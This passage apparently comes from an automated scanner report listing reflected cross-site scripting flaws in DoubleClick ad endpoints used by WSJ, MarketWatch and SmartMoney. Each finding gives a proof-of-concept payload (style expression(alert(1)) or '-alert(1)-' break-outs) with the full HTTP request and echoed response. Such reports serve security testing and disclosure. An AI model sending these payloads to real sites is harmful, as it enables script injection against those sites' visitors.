GET /adi/interactive.wsj.com/rej_front_tilebot;!category=;msrc=WSJ_topnav_realestate_main;s=8_10001;mc=b2pfreezone;pos=3;tile=5;sz=120x90;ord=5003500350035003;&b79d6"style%3d"x%3aexpression(alert(1))"80c502dadb5=1 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/public/page/news-real-estate-homes.html?mod=WSJ_topnav_realestate_main
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:41:35 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 528

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/m;237012713;0-0;1;60333544;2-120/90;40909831/40927618/1;;~okv=;!category=;msrc=WSJ_topnav_realestate_main;s=8_10001;mc=b2pfreezone;pos=3;tile=5;sz=120x90;&b79d6"style="x:expression(alert(1))"80c502dadb5=1;~aopt=2/1/ff/1;~sscs=%3fhttp://www.Brownharrisstevens.com">
...[SNIP]...

4.20. http://ad.doubleclick.net/adi/interactive.wsj.com/rej_front_tiletop [!category parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/rej_front_tiletop

Issue detail

The value of the !category request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3d3e6"style%3d"x%3aexpression(alert(1))"c9e8184e84a was submitted in the !category parameter. This input was echoed as 3d3e6"style="x:expression(alert(1))"c9e8184e84a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /adi/interactive.wsj.com/rej_front_tiletop;!category=;msrc=WSJ_topnav_realestate_main;s=8_10001;mc=b2pfreezone;pos=1;tile=3;sz=120x90;ord=5003500350035003;3d3e6"style%3d"x%3aexpression(alert(1))"c9e8184e84a HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/public/page/news-real-estate-homes.html?mod=WSJ_topnav_realestate_main
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:40:37 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 536

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/q;237007724;0-0;1;60333542;2-120/90;40888842/40906629/1;;~okv=;!category=;msrc=WSJ_topnav_realestate_main;s=8_10001;mc=b2pfreezone;pos=1;tile=3;sz=120x90;3d3e6"style="x:expression(alert(1))"c9e8184e84a;~aopt=2/1/ff/1;~sscs=%3fhttp://www.theremaxcollection.com">
...[SNIP]...

4.21. http://ad.doubleclick.net/adi/interactive.wsj.com/rej_front_tiletop [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/rej_front_tiletop

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 927aa"style%3d"x%3aexpression(alert(1))"8dafbc3225b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 927aa"style="x:expression(alert(1))"8dafbc3225b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /adi/interactive.wsj.com/rej_front_tiletop;!category=;msrc=WSJ_topnav_realestate_main;s=8_10001;mc=b2pfreezone;pos=1;tile=3;sz=120x90;ord=5003500350035003;&927aa"style%3d"x%3aexpression(alert(1))"8dafbc3225b=1 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/public/page/news-real-estate-homes.html?mod=WSJ_topnav_realestate_main
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:41:24 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 539

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/q;237007724;0-0;1;60333542;2-120/90;40888842/40906629/1;;~okv=;!category=;msrc=WSJ_topnav_realestate_main;s=8_10001;mc=b2pfreezone;pos=1;tile=3;sz=120x90;&927aa"style="x:expression(alert(1))"8dafbc3225b=1;~aopt=2/1/ff/1;~sscs=%3fhttp://www.theremaxcollection.com">
...[SNIP]...

4.22. http://ad.doubleclick.net/adi/marketwatch.com/brand_channel [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/marketwatch.com/brand_channel

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dbaa5"style%3d"x%3aexpression(alert(1))"be227d3384 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as dbaa5"style="x:expression(alert(1))"be227d3384 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /adi/marketwatch.com/brand_channel;u=%5e%5e;sz=377x140;tile=8;ord=1820011674?&dbaa5"style%3d"x%3aexpression(alert(1))"be227d3384=1 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:17:15 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 603

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body STYLE="background-color:transparent"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/q;216938922;0-0;0;39274004;29332-377/140;42148535/42166322/1;u=^^;~okv=;u=^^;sz=377x140;tile=8;;dbaa5"style="x:expression(alert(1))"be227d3384=1;~aopt=6/1/ff/1;~sscs=%3fhttp://www.marketwatch.com/investing-insights?reflink=djm_hamwinvestinginsightsevent1">
...[SNIP]...

4.23. http://ad.doubleclick.net/adi/marketwatch.com/brand_channel [u parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/marketwatch.com/brand_channel

Issue detail

The value of the u request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 879f8'-alert(1)-'937c450e926 was submitted in the u parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adi/marketwatch.com/brand_channel;u=879f8'-alert(1)-'937c450e926 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Content-Length: 52362
Cache-Control: no-cache
Pragma: no-cache
Date: Sat, 14 May 2011 10:16:48 GMT
Expires: Sat, 14 May 2011 10:16:48 GMT

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body STYLE="background-color:transparent"><SCRIPT language="JavaScript">
if(typeof(dartCallbackObjects)
...[SNIP]...
ttp://ad.doubleclick.net/activity;src=1363789;stragg=1;v=1;pid=39274004;aid=240691320;ko=0;cid=41978572;rid=41996359;rv=1;rn=3294807;";
this.swfParams = 'src=1363789&rv=1&rid=41996359&=879f8'-alert(1)-'937c450e926&';
this.renderingId = "41996359";
this.previewMode = (("%PreviewMode" == "true") ? true : false);
this.debugEventsMode = (("%DebugEventsMode" == "true")
...[SNIP]...

4.24. http://ad.doubleclick.net/adi/marketwatch.com/frontpage [u parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/marketwatch.com/frontpage

Issue detail

The value of the u request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b2c2f"style%3d"x%3aexpression(alert(1))"028110bafbf was submitted in the u parameter. This input was echoed as b2c2f"style="x:expression(alert(1))"028110bafbf in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /adi/marketwatch.com/frontpage;u=b2c2f"style%3d"x%3aexpression(alert(1))"028110bafbf HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Content-Length: 632
Cache-Control: no-cache
Pragma: no-cache
Date: Sat, 14 May 2011 10:16:19 GMT
Expires: Sat, 14 May 2011 10:16:19 GMT

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body STYLE="background-color:transparent"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/f;225017382;0-0;0;13112443;255-0/0;36796821/36814699/1;u=b2c2f"style="x:expression(alert(1))"028110bafbf;~okv=;u=b2c2f"style="x:expression(alert(1))"028110bafbf;~aopt=2/1/ff/1;~sscs=%3fhttp://store.marketwatch.com/webapp/wcs/stores/servlet/PremiumNewsletters_WhatIsWorkingNow?dist=IAEHM1AFW">
...[SNIP]...

4.25. http://ad.doubleclick.net/adi/marketwatch.com/mutualfunds_jaffe [mc parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/marketwatch.com/mutualfunds_jaffe

Issue detail

The value of the mc request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload decdc"style%3d"x%3aexpression(alert(1))"1f315fea566 was submitted in the mc parameter. This input was echoed as decdc"style="x:expression(alert(1))"1f315fea566 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /adi/marketwatch.com/mutualfunds_jaffe;mc=decdc"style%3d"x%3aexpression(alert(1))"1f315fea566 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13?link=MW_story_investinginsightb
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Content-Length: 584
Cache-Control: no-cache
Pragma: no-cache
Date: Sat, 14 May 2011 10:31:34 GMT
Expires: Sat, 14 May 2011 10:31:34 GMT

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body STYLE="background-color:transparent"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/m;225017382;0-0;0;13314513;255-0/0;36796821/36814699/1;;~okv=;mc=decdc"style="x:expression(alert(1))"1f315fea566;~aopt=2/1/ff/1;~sscs=%3fhttp://store.marketwatch.com/webapp/wcs/stores/servlet/PremiumNewsletters_WhatIsWorkingNow?dist=IAEHM1AFW">
...[SNIP]...

4.26. http://ad.doubleclick.net/adi/marketwatch.com/mutualfunds_jaffe [mc parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/marketwatch.com/mutualfunds_jaffe

Issue detail

The value of the mc request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e76f1'-alert(1)-'733e9c42067 was submitted in the mc parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adi/marketwatch.com/mutualfunds_jaffe;mc=e76f1'-alert(1)-'733e9c42067 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13?link=MW_story_investinginsightb
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Content-Length: 52206
Cache-Control: no-cache
Pragma: no-cache
Date: Sat, 14 May 2011 10:31:55 GMT
Expires: Sat, 14 May 2011 10:31:55 GMT

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body STYLE="background-color:transparent"><SCRIPT language="JavaScript">
if(typeof(dartCallbackObjects)
...[SNIP]...
ttp://ad.doubleclick.net/activity;src=1363789;stragg=1;v=1;pid=13314513;aid=240691320;ko=0;cid=41978572;rid=41996359;rv=1;rn=4201822;";
this.swfParams = 'src=1363789&rv=1&rid=41996359&=e76f1'-alert(1)-'733e9c42067&';
this.renderingId = "41996359";
this.previewMode = (("%PreviewMode" == "true") ? true : false);
this.debugEventsMode = (("%DebugEventsMode" == "true")
...[SNIP]...

4.27. http://ad.doubleclick.net/adi/marketwatch.com/mutualfunds_jaffe [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/marketwatch.com/mutualfunds_jaffe

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b2282"style%3d"x%3aexpression(alert(1))"6fb2e5162b9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as b2282"style="x:expression(alert(1))"6fb2e5162b9 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /adi/marketwatch.com/mutualfunds_jaffe;mc=MWRetWeek;s=8_10001;u=%5e%5elA;biz=1053;sz=377x100;tile=2;ord=1531063701?&b2282"style%3d"x%3aexpression(alert(1))"6fb2e5162b9=1 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13?link=MW_story_investinginsightb
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:32:19 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 640

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body STYLE="background-color:transparent"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/f;220450143;0-0;1;13314513;34555-377/100;34659507/34677385/1;u=^^lA;~okv=;mc=MWRetWeek;s=8_10001;u=^^lA;biz=1053;sz=377x100;tile=2;;b2282"style="x:expression(alert(1))"6fb2e5162b9=1;~aopt=2/1/ff/1;~sscs=%3fhttp://store.marketwatch.com/webapp/wcs/stores/servlet/PremiumNewsletters_RetirementWeekly?dist=IYMLMST1R">
...[SNIP]...

4.28. http://ad.doubleclick.net/adi/smartmoney.com/Homepage_Main_Front [!category parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/smartmoney.com/Homepage_Main_Front

Issue detail

The value of the !category request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3a590"style%3d"x%3aexpression(alert(1))"3f35620f0d0 was submitted in the !category parameter. This input was echoed as 3a590"style="x:expression(alert(1))"3f35620f0d0 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /adi/smartmoney.com/Homepage_Main_Front;!category=;page=magsubscribe;;mc=0;tile=5;sz=378x115;ord=5424542454245424;3a590"style%3d"x%3aexpression(alert(1))"3f35620f0d0 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.smartmoney.com/?zone=intromessage
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:19:37 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 573

<head><title>Click here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/a;241002750;0-0;0;62167023;41664-378/115;42067942/42085729/1;;~okv=;!category=;page=magsubscribe;;mc=0;tile=5;sz=378x115;3a590"style="x:expression(alert(1))"3f35620f0d0;~aopt=2/1/ff/1;~sscs=%3fhttps://w1.buysub.com/servlet/OrdersGateway?cds_mag_code=SMY&cds_page_id=66975&cds_response_key=IDLGODAB">
...[SNIP]...

4.29. http://ad.doubleclick.net/adi/smartmoney.com/Homepage_Main_Front [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/smartmoney.com/Homepage_Main_Front

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9e208"style%3d"x%3aexpression(alert(1))"53d8c16d7c2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 9e208"style="x:expression(alert(1))"53d8c16d7c2 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /adi/smartmoney.com/Homepage_Main_Front;!category=;page=magsubscribe;;mc=0;tile=5;sz=378x115;ord=5424542454245424;&9e208"style%3d"x%3aexpression(alert(1))"53d8c16d7c2=1 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.smartmoney.com/?zone=intromessage
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:20:01 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 576

<head><title>Click here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/a;241002750;0-0;0;62167023;41664-378/115;42067942/42085729/1;;~okv=;!category=;page=magsubscribe;;mc=0;tile=5;sz=378x115;&9e208"style="x:expression(alert(1))"53d8c16d7c2=1;~aopt=2/1/ff/1;~sscs=%3fhttps://w1.buysub.com/servlet/OrdersGateway?cds_mag_code=SMY&cds_page_id=66975&cds_response_key=IDLGODAB">
...[SNIP]...

4.30. http://ad.doubleclick.net/adi/smartmoney.com/SmartMoney_Main_Front [!category parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/smartmoney.com/SmartMoney_Main_Front

Issue detail

The value of the !category request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dc80e"style%3d"x%3aexpression(alert(1))"6c0363045c7 was submitted in the !category parameter. This input was echoed as dc80e"style="x:expression(alert(1))"6c0363045c7 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /adi/smartmoney.com/SmartMoney_Main_Front;!category=;page=smcirc;;mc=0;tile=4;sz=377x140;ord=2886288628862886;dc80e"style%3d"x%3aexpression(alert(1))"6c0363045c7 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.smartmoney.com/invest/strategies/heavy-metal-debate-silver-vs-gold-1305310258887/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:21:45 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 571

<head><title>Click here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/o;241002442;0-0;1;62559705;29332-377/140;42067982/42085769/1;;~okv=;!category=;page=smcirc;;mc=0;tile=4;sz=377x140;dc80e"style="x:expression(alert(1))"6c0363045c7;~aopt=2/1/ff/1;~sscs=%3fhttps://w1.buysub.com/servlet/OrdersGateway?cds_mag_code=SMY&cds_page_id=66975&cds_response_key=IDFGODAC">
...[SNIP]...

4.31. http://ad.doubleclick.net/adi/smartmoney.com/SmartMoney_Main_Front [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/smartmoney.com/SmartMoney_Main_Front

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c6320"style%3d"x%3aexpression(alert(1))"6351d23f099 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as c6320"style="x:expression(alert(1))"6351d23f099 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /adi/smartmoney.com/SmartMoney_Main_Front;!category=;page=smcirc;;mc=0;tile=4;sz=377x140;ord=2886288628862886;&c6320"style%3d"x%3aexpression(alert(1))"6351d23f099=1 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.smartmoney.com/invest/strategies/heavy-metal-debate-silver-vs-gold-1305310258887/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:22:08 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 574

<head><title>Click here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/o;241002442;0-0;1;62559705;29332-377/140;42067982/42085769/1;;~okv=;!category=;page=smcirc;;mc=0;tile=4;sz=377x140;&c6320"style="x:expression(alert(1))"6351d23f099=1;~aopt=2/1/ff/1;~sscs=%3fhttps://w1.buysub.com/servlet/OrdersGateway?cds_mag_code=SMY&cds_page_id=66975&cds_response_key=IDFGODAC">
...[SNIP]...

4.32. http://ad.doubleclick.net/adi/smartmoney.com/SmartMoney_Main_Front [u parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/smartmoney.com/SmartMoney_Main_Front

Issue detail

The value of the u request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fea9e"style%3d"x%3aexpression(alert(1))"aed0af3f5f was submitted in the u parameter. This input was echoed as fea9e"style="x:expression(alert(1))"aed0af3f5f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

